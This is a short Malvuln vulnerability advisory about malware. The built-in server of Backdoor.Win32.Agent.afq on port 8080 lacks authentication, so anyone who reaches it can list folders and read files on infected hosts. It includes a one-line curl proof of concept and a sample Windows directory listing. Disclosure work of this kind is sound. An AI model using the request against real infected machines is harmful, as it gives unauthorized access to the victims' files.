Backdoor.Win32.Agent.afq Missing Authentication

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.afq   
Vulnerability: Missing Authentication  
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. There is no authentication, third-party attackers who can reach the server can list any dir and read any file on the infected host.   
Type: PE32  
MD5: 853754de6b8ffbe1321a8c91aab5c232  
Vuln ID: MVID-2021-0188  
Dropped files:   
Disclosure: 04/27/2021  
  
Exploit/PoC:  
curl http://192.168.88.127:8080/Windows  
  
Directory listing of /Windows  
  
Filename Size  
. 0  
.. 0  
addins 0  
appcompat 0  
apppatch 0  
AppReadiness 0  
assembly 0  
bcastdvr 0  
bfsvc.exe 65536  
BitLockerDiscoveryVolumeContents 0  
Boot 0  
bootstat.dat 67584  
  
etc....  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`